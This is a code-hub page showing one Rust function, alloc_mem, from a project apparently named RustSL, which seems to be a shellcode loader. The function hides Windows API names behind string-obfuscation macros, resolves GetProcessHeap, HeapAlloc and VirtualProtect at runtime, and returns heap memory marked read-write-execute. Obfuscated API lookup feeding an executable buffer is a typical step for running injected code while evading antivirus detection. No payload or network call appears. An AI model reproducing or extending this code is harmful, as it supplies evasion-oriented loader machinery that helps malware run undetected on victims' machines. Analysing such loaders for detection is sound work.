MCPcopy Create free account
hub / github.com/echQoQ/RustSL / alloc_mem

Function alloc_mem

src/alloc_mem/heap.rs:3–30  ·  view source on GitHub ↗
(size: usize)

Source from the content-addressed store, hash-verified

1use crate::utils::{load_library, get_proc_address};
2
3pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
4 use obfstr::{obfstr, obfbytes};
5 use core::ffi::c_void;
6
7 type GetProcessHeapFn = unsafe extern "system" fn() -> isize;
8 type HeapAllocFn = unsafe extern "system" fn(h_heap: isize, dw_flags: u32, dw_bytes: usize) -> *mut c_void;
9 type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32;
10
11 let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
12 let get_process_heap: GetProcessHeapFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GetProcessHeap\0").as_slice())?);
13 let heap_alloc: HeapAllocFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"HeapAlloc\0").as_slice())?);
14 let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualProtect\0").as_slice())?);
15
16 let heap = get_process_heap();
17 if heap == 0 {
18 return Err(obfstr!("GetProcessHeap failed").to_string());
19 }
20 let p = heap_alloc(heap, 0x00000008, size);
21 if p.is_null() {
22 return Err(obfstr!("HeapAlloc failed").to_string());
23 }
24 let mut old_protect = 0u32;
25 let ok = virtual_protect(p, size, 0x40, &mut old_protect); // PAGE_EXECUTE_READWRITE
26 if ok == 0 {
27 return Err(obfstr!("VirtualProtect failed").to_string());
28 }
29 Ok(p as *mut u8)
30}

Callers

nothing calls this directly

Calls 2

load_libraryFunction · 0.85
get_proc_addressFunction · 0.85

Tested by

no test coverage detected